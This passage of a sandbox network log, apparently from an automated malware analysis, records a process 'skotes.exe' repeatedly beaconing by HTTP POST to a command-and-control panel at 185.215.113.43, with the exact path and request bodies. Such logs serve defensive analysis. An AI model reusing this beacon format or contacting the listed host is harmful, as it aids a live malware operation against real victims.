50	192.168.2.5	50282	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:53.045084000 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:24:53.961700916 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:24:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	50283	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:55.591506958 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:24:56.495091915 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:24:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	50284	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:58.015367985 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:24:58.923800945 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:24:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	50286	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:25:00.544248104 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:25:01.484849930 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:25:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	50287	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:25:02.999157906 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:25:03.899935961 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:25:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	50288	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:25:05.544394016 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:25:06.480168104 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:25:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	50289	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:25:07.997155905 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:25:08.968688965 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:25:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	50291	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:25:10.605664968 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:25:11.501178980 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:25:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	50292	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:25:13.024952888 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:25:13.942106009 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:25:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	50294	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:25:15.576503992 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:25:16.508790970 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:25:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	50295	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:25:18.029402971 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:25:18.958672047 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:25:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	50296	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:25:20.577814102 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:25:21.480978012 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:25:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	50298	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:25:23.003106117 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:25:23.902251005 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:25:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	50300	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:25:25.527427912 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:25:26.444113016 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:25:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	50302	185.215.113.43	80	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:25:27.966624975 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:25:28.883198023 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:25:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	50304	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:25:30.498729944 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:25:31.410919905 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:25:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	50305	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:25:32.935745955 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:25:33.851916075 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:25:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	50306	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:25:35.474437952 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:25:36.382174015 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:25:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	50308	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:25:42.407108068 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:25:43.458929062 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:25:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	50309	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:25:45.086776018 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:25:45.998018026 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:25:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	50310	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:25:47.530919075 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:25:48.444714069 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:25:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	50313	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:25:50.067892075 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:25:50.961460114 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:25:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	50315	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:25:52.482862949 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:25:53.758518934 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:25:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
